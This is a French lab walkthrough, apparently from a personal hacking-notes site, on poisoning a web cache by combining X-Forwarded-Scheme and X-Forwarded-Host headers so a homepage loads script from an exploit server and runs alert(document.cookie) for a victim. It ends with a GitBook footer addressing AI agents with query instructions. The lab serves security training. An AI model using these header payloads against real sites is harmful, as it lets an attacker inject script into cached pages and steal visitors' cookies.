> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).

# Empoisonnement du cache avec plusieurs en-têtes

### Empoisonnement du cache Web avec plusieurs en-têtes

Ce laboratoire présente une vulnérabilité d’empoisonnement du cache Web exploitable uniquement en combinant plusieurs en-têtes HTTP. / Un utilisateur visite la page d’accueil environ une fois par minute. / L’objectif est d’empoisonner le cache afin que la réponse dans le navigateur de la victime déclenche `alert(document.cookie)`.

**Analyse initiale**

* Interception de la requête vers la racine du site (`/`).
* La réponse semble mise en cache et réutilisée pour les visiteurs suivants.

<figure><img src="/files/4e871c8a6ceb3996872862d679b56fa0e621d72e" alt=""><figcaption></figcaption></figure>

**En-têtes exploitables découverts**

* Utilisation de l’extension **Param Miner** pour deviner les en-têtes non indexés.

<figure><img src="/files/0d584f6cdb01bae3450a7c834d7e37bf9ae8c159" alt=""><figcaption></figcaption></figure>

* L’outil détecte l’en-tête **`X-Forwarded-Scheme`**.

<figure><img src="/files/df6fef1af1e992c7661dfbbba144ba30099adb71" alt=""><figcaption></figcaption></figure>

**`X-Forwarded-Scheme` Test**

* Cet en-tête indique si la requête est traitée comme provenant de HTTP ou de HTTPS.
* Envoi :

```http
X-Forwarded-Scheme : http
```

* Le site essaie de se comporter comme s’il était servi en HTTP.

<figure><img src="/files/2898dc185b7cc6ac28cde8d3da75ed60ab7131c5" alt=""><figcaption></figcaption></figure>

Cela provoque un dysfonctionnement et les ressources ne sont plus chargées correctement à cause de redirections incorrectes.

<figure><img src="/files/0978b0abffb63386262b76d48de76126831605a0" alt=""><figcaption></figcaption></figure>

**Ajoutez un deuxième en-tête : `X-Forwarded-Host`**

```http
X-Forwarded-Host: test.com
```

* Le site essaie alors de charger ses ressources depuis cette zone.

<figure><img src="/files/e3e561e3cdd82af59c8cf3c901555677ef8793ca" alt=""><figcaption></figcaption></figure>

Le chargement du fichier JavaScript inclut :

Ce script est exécuté automatiquement lors du chargement de la page.

<figure><img src="/files/09a9c3a3e500ef81d0ef9ae0a5fea3dda2836cf2" alt=""><figcaption></figcaption></figure>

**Opération avec le serveur d’exploitation**

* L’objectif est de forcer le chargement du fichier JavaScript depuis le serveur d’exploitation.

```http
X-Forwarded-Scheme : http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```

Sur le serveur d’exploitation :

* Créez un fichier accessible à l’URL :

Contenu du fichier :

```javascript
alert(document.cookie)
```

<figure><img src="/files/eed8b5e24d1d2244d720ed1a52bb378971e9ae56" alt=""><figcaption></figcaption></figure>

**Résultat**

* La page d’accueil charge maintenant le script JavaScript depuis le serveur d’exploitation.

<figure><img src="/files/9e7f33d1b8d9d94f5e8ce3f0b6988db3b132ba7c" alt=""><figcaption></figcaption></figure>

* La réponse empoisonnée est masquée.
* Lorsqu’un utilisateur visite la page, le script s’exécute automatiquement.
* Une alerte affichant `document.cookie` apparaît dans le navigateur de la victime.

<figure><img src="/files/2a5db2059d1316133e5e1031662f3fe6408dd19a" alt="" width="427"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
